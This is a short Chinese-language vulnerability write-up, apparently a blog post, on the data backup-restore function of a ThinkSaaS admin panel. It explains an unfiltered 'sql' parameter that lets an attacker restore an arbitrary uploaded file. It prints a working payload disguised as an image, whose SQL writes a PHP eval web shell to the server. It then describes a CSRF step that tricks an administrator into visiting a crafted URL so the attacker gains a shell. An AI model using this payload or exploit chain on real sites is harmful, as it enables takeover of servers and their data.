首先这里存在问题的是后台系统管理的数据备份还原处。 这里没有过滤sql参数,直接带入,拼接data/baksql/目录,然后进入恢复数据 这里在恢复是判断有没有分卷,没有分卷就直接恢复了,没有处理所要备份的sql文件的路径,类型,内容等,导致操作任意文件。 然后来看看这里数据恢复的操作: 我们抓个包: 我们在前台上传一个图片,图片内容为: Drop TABLE IF EXISTS temp; Create TABLE temp(cmd text NOT NULL); Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>"); Select cmd from temp into outfile 'F:/thinksaas/eval.php'; Drop TABLE IF EXISTS temp; 在sql参数处,把sql文件内容替换为我们自己上传的文件即可。 而且最重要的是,这里是GET请求,而且存在CSRF 漏洞(图中以证明),那么我们上传了恶意文件后,诱使管理访问我们提供的恶意url就能拿到shell。 |
还没有人抢沙发呢~